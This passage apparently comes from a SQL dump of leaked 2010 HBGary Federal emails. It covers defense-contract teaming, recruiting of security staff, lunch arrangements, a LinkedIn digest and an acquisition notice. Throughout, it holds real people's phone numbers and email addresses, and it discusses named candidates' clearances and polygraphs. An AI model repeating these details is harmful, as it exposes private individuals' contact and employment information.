partner.&nbsp; There will be multiple awardees who will compete as task orders are released, with quick turnaround.&nbsp; My impression is that this will be primarily a labor contract, but if with work could realize software sales too.&nbsp; My memory says the work will be mostly unclass or secret level.&nbsp;My inclination is to wait until there is an award before giving it much attention, but will make a few calls to GD folks to find out where we go from here.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Holtmann, Vincent A. [mailto:Vincent.Holtmann@gd-ais.com]&nbsp;Sent:&nbsp;Tuesday, October 05, 2010 11:01 PMTo:&nbsp;ron.jacobsosn@linquest.com;&nbsp;naveen.reddy@linquest.com;&nbsp;dave.atherton@eyestreet.com;&nbsp;wstephen@telcordia.com;sleanheart@telcordia.com;&nbsp;richard.tillery@visllc.com;&nbsp;cbernard@visllc.com;&nbsp;barbara.m.sootkoos@us.pwc.com;&nbsp;esutton@systechnologies.com;bob.jayne@ndpgroup.com; Smith, Timothy-P65114 (EXT) (GDC4S);&nbsp;ecamargo@deloitte.com;&nbsp;marcmurph@deloitte.com;&nbsp;alok@simulexinc.com;mmulpuri@simulex.com;&nbsp;dcurtis@sim-gtech.com;&nbsp;prempfer@sim-gtech.com;&nbsp;jlrubritz@wareonearth.com;&nbsp;tyancey@wareonearth.com;frank.backes@braxtontech.com;&nbsp;Julie.wllies@braxtontech.com;&nbsp;dperalta@ndti.net;&nbsp;jmathis@ndti.net;&nbsp;dan_ownby@minervaengineering.com;jmorgan@ewa.com;&nbsp;pwomble@ewa.com;&nbsp;rwebb@defgrp.com;&nbsp;stotz@cubrc.org;&nbsp;carl.houghton@issinc.com;&nbsp;john_long@gdit.com; Martin, Robert Z.; Holtmann, Vincent A.;&nbsp;Ebber@avi.com; \'Bob Slapnik\'; Dan Roberts; Dietz, James Eric; Autry, Tim; Beck, Bob; Wendy Yee;jim.burton@cataphora.com;&nbsp;Jondi_Bernardo@McAfee.com;&nbsp;sbodmer@savidcorp.com; Jeffrey Carr; Bradshaw, Kent-P57625 (EXT) (GDC4S)Cc:&nbsp;Valdez, George G.; Jaeger, James A.; Carron, Brian E.; Rabideau, Tim J.Subject:&nbsp;SSC PAC PreAward/Contract Planning-After Actions&nbsp;All,&nbsp; Thanks again for those of you that we able to attend the session and we very much appreciated the dialogue. Below is a high-level action that we discussed to include the meeting summary,&nbsp; attached slide deck, attendee roster, and Competency Chart.&nbsp;Please remember that the formal award announcements have not been distributed to the Primes, so handle the attached documents appropriately and do not distribute.&nbsp;Action for Teammates1)Provide primary POCs for—1)Business Development, 2)Technical/Engineering, and 3) Contracts/PricingPURPOSE:&nbsp;&nbsp; These POCs will be our primary points of contact for future engagements and will be the primary POCs that will have access to the team SharePoint site. From the technical perspective, we will work with this POC as we organize our Technical IPTs for TTO review and response to the government.&nbsp;Meeting SummaryOur meeting covered the need to develop a short and long-term roadmap that would allow the entire team to align team capabilities and expertise with customer funding and requirements. Our roadmap will focus on some quick success actions that will help us to shape early Technical Task Orders (TTOs) and grow our Vision in lockstep with customer needs (both SSC PAC and other supporting govt. customers that intend to use the vehicle).&nbsp;We will continue the development of this roadmap via team collaboration and data sharing activities that we will organize via the SSC PAC SharePoint website. That is another primary reason for everyone to respond with the requested POCs so we can ensure everyone is able to access the SharePoint website. We will coordinate, schedule, deconflict, and help to organize messaging and customer&nbsp; meetings via the Calendar on the SharePoint site to ensure that everyone is moving in the same direction. Lastly, the SharePoint&nbsp; site will allow all teammates to update their capability offerings, whitepapers, etc. in preparation for bidding TTOs and interfacing with the customer.&nbsp;To help align this roadmap we will begin to focus on the following technology areas and customers that we discussed during the meeting.&nbsp; This list is not all inclusive, but will help to guide our roadmap development. Along this same line, we are organizing team messaging and discriminators for everyone’s awareness.&nbsp;&nbsp;Technical Focus AreasCyber Situational AwarenessMission AssuranceCyber Modeling and SimulationCollaboration&nbsp;CustomersSPAWAR Code 56, Team SPAWAR, PEO C4I, USCYBERCOM, 10th&nbsp;Fleet, 24th&nbsp;AF, COCOMS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Regards,Vince&nbsp;Vincent A. Holtmann&nbsp;General Dynamics Advanced Information Systems&nbsp;3133 General Hudnell, Ste. 300&nbsp;San Antonio, TX 78226Office (210) 932-5522Mobile (210) 792-8088&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',9362,'aaron_hbgary_com/9362.html'),(12769,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009391.M712837P14101Q7624.eml','\"Robert L Frizzelle\" <rfrizzelle@csc.com>,\"Robert L Frizzelle\" <rfrizzelle@csc.com>','Re: Lunch with Aaron Barr - Houlihans - rt. 103 and 175','ok nvm. &nbsp;I see it is not on the 12th. &nbsp;See you on the 25th. :)AaronOn Oct 4, 2010, at 12:23 PM, Robert L Frizzelle wrote:\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7028 &nbsp;c: 571.269.6942 &nbsp;f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',9756,'aaron_hbgary_com/9756.html'),(12770,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009391.M931200P14101Q7625.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: Potentially Available Talent','Hi Jason,\r\n\r\nSorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n\r\nBTW.  What tickets do you have? :)\r\n\r\nAaron\r\n\r\n\r\nOn Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n\r\n> Aaron,\r\n> \r\n> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!  \r\n> \r\n> R/\r\n> \r\n> Jason Mueller\r\n> \r\n> \r\n> \r\n> \r\n> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n> \r\n>> Hi Jason,\r\n>> \r\n>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>> happen to have Federal SE positions available as well?  Let me know\r\n>>> when you get a chance.\r\n>>> \r\n>>> R/\r\n>>> \r\n>>> Jason Mueller\r\n>>> \r\n>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>> Hey Jason,\r\n>>>> \r\n>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal, LLC\r\n>>>> 719.510.8478\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',7016,'aaron_hbgary_com/7016.html'),(12771,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009392.M148370P14101Q7626.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Just checking in','yes. :)On Oct 1, 2010, at 2:55 PM, Robinson, Cassie wrote:Still on for lunch at LX2 with Tom and Dan Conroy????&nbsp;Cassie Robinson | Northrop Grumman CorporationIntelligence Integrated Customer Teamtel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd &nbsp;|&nbsp;Suite 2300 &nbsp;|&nbsp;Arlington, VA 22209&nbsp;Help thy brother\'s boat across, and lo! thine own has reached the shore.--Hindu Proverb&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',1931,'aaron_hbgary_com/1931.html'),(12772,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009392.M371901P14101Q7627.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','Re: soysauce graphs/data','thanks Martin.  This was a big help.\r\n\r\nAaron\r\n\r\nOn Sep 30, 2010, at 5:15 PM, Martin Pillion wrote:\r\n\r\n> \r\n> Aaron,\r\n> \r\n> Here are 8 graphs I made based upon soysauce malware with fingerprint data.\r\n> \r\n> image_descriptions.txt explains what each graph is\r\n> \r\n> the fingerprint data for this is in the .xml files\r\n> \r\n> Take a look and let me know if these will suit your needs, or if you\r\n> want different graphs.\r\n> \r\n> - Martin\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',9620,'aaron_hbgary_com/9620.html'),(12773,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009397.M472368P14101Q7628.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Signed Contingent Offer','DeeAnn,\r\n\r\nDid you happen to get a signed contingent offer fax from a guy by the name of Aaron Spring?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',2943,'aaron_hbgary_com/2943.html'),(12774,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009397.M705980P14101Q7629.eml','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','Re: The job market and other stuff','Hey Chris,Sorry for going dark. &nbsp;I had a social media presentation yesterday and a threat intelligence presentation next tuesday that has me a bit distracted. &nbsp;I would love to get together. &nbsp;How about next week after Tuesday? &nbsp;Lunch would be good. &nbsp;Where do you come from? &nbsp;I am normally around Mclean unless meetings drag me somewhere else.AaronOn Oct 4, 2010, at 4:05 PM, Chris Gerling Jr wrote:Hi Aaron,Let me know what you\'ve got going on the next couple weeks. &nbsp;Perhaps we can find a day to do lunch or dinner, or just have a more in depth conversation over Skype or something.\r\n\r\nThanks,Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.&nbsp; http://www.securabit.com\r\nOn Fri, Sep 24, 2010 at 11:30 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHey Chris,Anytime. &nbsp;I had fun.I would like to talk some more. &nbsp;I get back the week of the 4th. &nbsp;Lets talk sometime after that and I can fill you in on what we have, what we are chasing, and what positions we will likely have in the near future.\r\n\r\nAaronOn Sep 23, 2010, at 9:44 AM, Chris Gerling Jr wrote:Hi Aaron,Thanks again for coming on with us last night, we had a great time.\r\n\r\nI was curious if you wanted to talk some more about the job landscape and what you might have available. &nbsp;I\'m not really able to move for a bit since I decided to become a homeowner a second time last year, but would definitely be interested in any opportunities involving a smaller more tight knit group. &nbsp;\r\n\r\n\r\n\r\nThanks,Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.&nbsp; http://www.securabit.com\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',797,'aaron_hbgary_com/797.html'),(12775,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009397.M916450P14101Q7630.eml','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','Re: The job market and other stuff','Curious... What tickets do you hold? :)AaronOn Oct 4, 2010, at 4:05 PM, Chris Gerling Jr wrote:Hi Aaron,Let me know what you\'ve got going on the next couple weeks. &nbsp;Perhaps we can find a day to do lunch or dinner, or just have a more in depth conversation over Skype or something.\r\n\r\nThanks,Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.&nbsp; http://www.securabit.com\r\nOn Fri, Sep 24, 2010 at 11:30 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHey Chris,Anytime. &nbsp;I had fun.I would like to talk some more. &nbsp;I get back the week of the 4th. &nbsp;Lets talk sometime after that and I can fill you in on what we have, what we are chasing, and what positions we will likely have in the near future.\r\n\r\nAaronOn Sep 23, 2010, at 9:44 AM, Chris Gerling Jr wrote:Hi Aaron,Thanks again for coming on with us last night, we had a great time.\r\n\r\nI was curious if you wanted to talk some more about the job landscape and what you might have available. &nbsp;I\'m not really able to move for a bit since I decided to become a homeowner a second time last year, but would definitely be interested in any opportunities involving a smaller more tight knit group. &nbsp;\r\n\r\n\r\n\r\nThanks,Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.&nbsp; http://www.securabit.com\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',14505,'aaron_hbgary_com/14505.html'),(12776,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009398.M141241P14101Q7631.eml','\"David D. Merritt\" <david.d.merritt@gmail.com>','Re: TSA','ah cool.  Actually Rich has a customer engagement he has to go to so I will be giving the presentation instead.  Reminds me I have to start reviewing his slides. :)\r\n\r\nI am actually on a team that bid for the TSA ITSSS work.  Keeping our fingers crossed. :)\r\n\r\nAaron\r\n\r\nOn Oct 6, 2010, at 11:17 PM, David D. Merritt wrote:\r\n\r\n> i noticed that Rich will be speaking at the TSA summit on the 21st...\r\n> \r\n> as a side note, my wife Mary is there and set most of that up...\r\n> \r\n> D\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',11579,'aaron_hbgary_com/11579.html'),(12777,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009398.M383791P14101Q7632.eml','\"Brian Christos\" <brian_christos@yahoo.com>','Re: Malware RE','Hey Brian,Do you know do either of these guys have Polys?AaronOn Oct 4, 2010, at 6:41 PM, Brian Christos wrote:Aaron,\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	Here is Darel and also Assad\'s resume.&nbsp;\r\nDarel recently moved to this area and then subsequently lost his\r\ncontract.&nbsp; He\'s doing some RE work on overhead. He was\r\nconducting CNO RE work previously. Assad used to be the RE person for\r\nthe DHS SOC and I can personnel vouch for this APT skills too.I\r\nwould really like to see either of your presentations but I\'ll check\r\non my availability.\r\nV/r,Brian--- On Mon, 10/4/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:From: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Malware RETo: brian_christos@yahoo.comCc: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.comDate: Monday, October 4, 2010, 5:14 PMThanks Brian.Hey if you are interested check out the&nbsp;presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir. &nbsp;If your interested please register @&nbsp;http://govcon.eventbrite.com/Also doing a social media security presentation tomorrow afternoon in Columbia at the cybernexus meeting. &nbsp;See the facebook page for cybernexus for details.AaronOn Oct 4, 2010, at 5:10 PM, brian_christos@yahoo.com wrote:Sure. how about I send Darrell\'s resume when I get home.Sent from my Verizon\r\n Wireless BlackBerryFrom:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;Mon, 4 Oct 2010 10:54:00 -0700To:&nbsp;&lt;brian_christos@yahoo.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;; &lt;rich@hbgary.com&gt;Subject:&nbsp;Malware REWe would like that name for the malware RE in your area. &nbsp;Penny C. LeavyPresidentHBGary, Inc &nbsp; &nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.) &nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly &nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n\r\n      &lt;AssadKhan_Resume.doc&gt;&lt;Darel.Griffin-Resume.pdf&gt;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',4277,'aaron_hbgary_com/4277.html'),(12778,'2010-10-07','brian_christos@yahoo.com','/aaron@hbgary.com/new/1297009398.M588139P14101Q7633.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware RE','darel might hve a CI.  Assad does not and may have some issue with his clearance but it looks like just an over zealous investigator. Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 6 Oct 2010 23:48:42 -0400To: Brian Christos&lt;brian_christos@yahoo.com&gt;Subject: Re: Malware REHey Brian,Do you know do either of these guys have Polys?AaronOn Oct 4, 2010, at 6:41 PM, Brian Christos wrote:Aaron,\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	Here is Darel and also Assad\'s resume.&nbsp;\r\nDarel recently moved to this area and then subsequently lost his\r\ncontract.&nbsp; He\'s doing some RE work on overhead. He was\r\nconducting CNO RE work previously. Assad used to be the RE person for\r\nthe DHS SOC and I can personnel vouch for this APT skills too.I\r\nwould really like to see either of your presentations but I\'ll check\r\non my availability.\r\nV/r,Brian--- On Mon, 10/4/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:From: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Malware RETo: brian_christos@yahoo.comCc: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.comDate: Monday, October 4, 2010, 5:14 PMThanks Brian.Hey if you are interested check out the&nbsp;presentation I will be giving at Palantir\'s GovCon6 on Threat Intelligence using our TMC and Palantir. &nbsp;If your interested please register @&nbsp;http://govcon.eventbrite.com/Also doing a social media security presentation tomorrow afternoon in Columbia at the cybernexus meeting. &nbsp;See the facebook page for cybernexus for details.AaronOn Oct 4, 2010, at 5:10 PM, brian_christos@yahoo.com wrote:Sure. how about I send Darrell\'s resume when I get home.Sent from my Verizon\r\n Wireless BlackBerryFrom:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;Mon, 4 Oct 2010 10:54:00 -0700To:&nbsp;&lt;brian_christos@yahoo.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;; &lt;rich@hbgary.com&gt;Subject:&nbsp;Malware REWe would like that name for the malware RE in your area. &nbsp;Penny C. LeavyPresidentHBGary, Inc &nbsp; &nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.) &nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly &nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n\r\n      &lt;AssadKhan_Resume.doc&gt;&lt;Darel.Griffin-Resume.pdf&gt;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n',9825,'aaron_hbgary_com/9825.html'),(12779,'2010-10-07','\"Robert L Frizzelle\" <rfrizzelle@csc.com>','/aaron@hbgary.com/new/1297009398.M925738P14101Q7634.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Lunch with Aaron Barr - Houlihans - rt. 103 and 175','Aaron, Yes, I have us down for lunch on the 12th. I take your note to say 2 things-1- you can\'t make lunch that day2- I could sneak into Palantir\'s GovCon6 on that day (if you could tell me where it was, etc)So, maybe I will see you there. And we will reschedule lunch. BTW, I met Bob Slapnik at an event last nite. Do you know him?Cheers,Bob F 571 269 6942 cell This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.&nbsp; From: Aaron Barr [aaron@hbgary.com]&nbsp; Sent: 10/06/2010 11:26 PM AST&nbsp; To: Robert Frizzelle&nbsp; Cc: Paul Rooney&nbsp; Subject: Re: Lunch with Aaron Barr - Houlihans - rt. 103 and 175\r\nHi Bob,For some reason this didn\'t show up on my calendar but I seem to remember the date being the 12th?If that is correct I forgot I will be giving a Threat Intelligence presentation at Palantir\'s GovCon6 in Mclean on the 12th in the afternoon (should be a good talk if your interested :) ). &nbsp;I defiantly would like to get together if there is another date/time in the near future?Aaron BarrCEOHBGary Federal, LLC719.510.8478On Oct 4, 2010, at 12:23 PM, Robert L Frizzelle wrote:\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7028 &nbsp;c: 571.269.6942 &nbsp;f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com\r\n\r\n',16668,'aaron_hbgary_com/16668.html'),(12780,'2010-10-07','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297009399.M164148P14101Q7635.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 10/06/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Sep 29 - Oct 6\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Jason Mueller has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Brian Hussey has an updated current title: Senior Digital Forensic Analyst at Harris Corporation\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Jeff Liford has an updated profile (Interests)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Stu Shea\r\nis now connected to\r\n            Wayne Gatewood USMC(Ret) Pres/CEO, QSI\r\n,             Donald Berlin\r\n,             Julius Caesar\r\n,       and 2 other people.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Michael Schell\r\n    is now connected to\r\n        Melissa Thomann\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nUS Economy, death by a thousand cuts?      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nCalculated Risk: Roubini: 40% Chance of Double-dip Recession         \r\n          There is a 40% probability of a double-dip recession, but you don\'t need one for the global economy to feel like it is in a deep, continuing recession, said Nouriel Roubini, the famous pessimist and economics professor at New York University on...\r\n        \r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nRT @jeremiahg: Errors, everywhere. http://twitpic.com/2v8qvg cab  http://twitpic.com/2v8r07 andporthole  http://twitpic.com/2v8tdt #in      \r\n      Add a comment\r\n      \r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Jeff McCartney\r\nHow do you get a new job when everyone thinks you make too much.      \r\n      Add a comment\r\n      \r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Kevin G. Coleman has joined\r\n    CIScorp (Corporate Information Systems), Inc.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Michael VanPutte has joined 2 groups, including\r\n      \r\n      Ranger School\r\n      and\r\n      Cyber Security Readiness For The Federal Government\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Michele Neiman, PHR has joined 2 groups, including\r\n      \r\n      University Recruiting\r\n      and\r\n      Government IT Community (GITC)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Rodrigo Antao recommends\r\nstudent      Felipe Mafra, ISO 27001 Lead Auditor\r\n        Great Student, fast thinking and learning. Deep knowledge on computer systems. His perfomance was th...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Eric Eifert recommends\r\ncolleague      Erik Konrad\r\n          Recruiting Manager (CDS BU) - Mission, Cyber, &amp; Technology Solutions Group (MCTS) at ManTech\r\n        Erik is managing my recruiting efforts and the staff responsible for filling our vacant requirements...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Michael Schell\r\n                  \r\n                     will be attending \r\n                  \r\n                    IT Roadmap San Francisco\r\n                  \r\n                     on November 03, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    David Nagel\r\n                  \r\n                     will be attending \r\n                  \r\n                    Pulse 2011\r\n                  \r\n                     on February 27, 2011 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Michael Schell\r\n                  \r\n                     added \r\n                  \r\n                    IT Roadmap San Francisco\r\n                  \r\n                     to be held on November 03, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    David Sarmanian\r\n                  \r\n                     is now using the new LinkedIn for BlackBerry application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    John M. Farrell\r\n                  \r\n                     wants to read \r\n                  \r\n                    Cyber War: The Next Threat to National Security and What to Do About It\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    John M. Farrell\r\n                  \r\n                     wants to read \r\n                  \r\n                    The Art of Racing in the Rain: A Novel\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',7570,'aaron_hbgary_com/7570.html'),(12781,'2010-10-07','arc@westfields.net','/aaron@hbgary.com/new/1297009399.M390535P14101Q7636.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Wednesday, 10/06/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/COMM-Excursion (Announcement)\r\n\r\nNRO/COMM-Roubaix (Announcement)\r\n\r\nNRO/MOD-MiraBella (Announcement)\r\n\r\nNRO/MOD-Silver Eagle (Document Posting)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 